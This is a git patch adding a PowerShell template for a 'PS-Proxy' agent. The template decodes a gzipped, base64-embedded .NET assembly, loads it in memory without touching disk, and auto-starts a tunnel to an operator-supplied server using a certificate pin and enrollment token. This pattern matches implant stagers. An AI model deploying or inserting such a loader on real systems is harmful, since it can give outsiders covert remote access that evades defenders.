From 2778203c76feef589a15b0eb60fc397222fac052 Mon Sep 17 00:00:00 2001 From: Harrison-Wells-Cyber Date: Tue, 21 Jul 2026 23:32:23 -0700 Subject: [PATCH] Add files via upload --- agent.ps1.tmpl | 38 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 agent.ps1.tmpl diff --git a/agent.ps1.tmpl b/agent.ps1.tmpl new file mode 100644 index 0000000..4bf9f05 --- /dev/null +++ b/agent.ps1.tmpl @@ -0,0 +1,38 @@ +# PS-Proxy agent loader. Single-file, diskless managed assembly loader for Windows PowerShell 5.1. +param( + [string]$Server = "{{.Server}}", + [int]$Port = {{.Port}}, + [string]$CertPin = "{{.CertPin}}", + [string]$EnrollToken = "{{.EnrollToken}}", + [switch]$NoAutoStart +) +$ErrorActionPreference = "Stop" +function Import-PSProxyAgentAssembly { + $b64 = @' +{{.AssemblyB64}} +'@ + if ([string]::IsNullOrWhiteSpace($b64) -or $b64.Trim().StartsWith("__")) { + throw "This agent.ps1 has not been packaged with PSProxy.Agent.dll. Build release/agent.ps1 on Windows with tools/build-agent.ps1." + } + $compressed = [Convert]::FromBase64String($b64.Trim()) + $inputMs = New-Object IO.MemoryStream(,$compressed) + $gzip = New-Object IO.Compression.GzipStream($inputMs, [IO.Compression.CompressionMode]::Decompress) + $out = New-Object IO.MemoryStream + $buf = New-Object byte[] 8192 + while (($n = $gzip.Read($buf, 0, $buf.Length)) -gt 0) { $out.Write($buf, 0, $n) } + $gzip.Dispose(); $inputMs.Dispose() + [void][System.Reflection.Assembly]::Load($out.ToArray()) +} +function Start-PSTunnel { + [CmdletBinding()] + param( + [Parameter(Mandatory=$true)][string]$Server, + [int]$Port = 443, + [Parameter(Mandatory=$true)][string]$CertPin, + [Parameter(Mandatory=$true)][string]$EnrollToken + ) + if (-not ("PSProxy.Agent.Tunnel" -as [type])) { Import-PSProxyAgentAssembly } + $t = New-Object PSProxy.Agent.Tunnel -ArgumentList @($Server, $Port, $CertPin, $EnrollToken) + $t.Run() +} +if (-not $NoAutoStart) { Start-PSTunnel -Server $Server -Port $Port -CertPin $CertPin -EnrollToken $EnrollToken }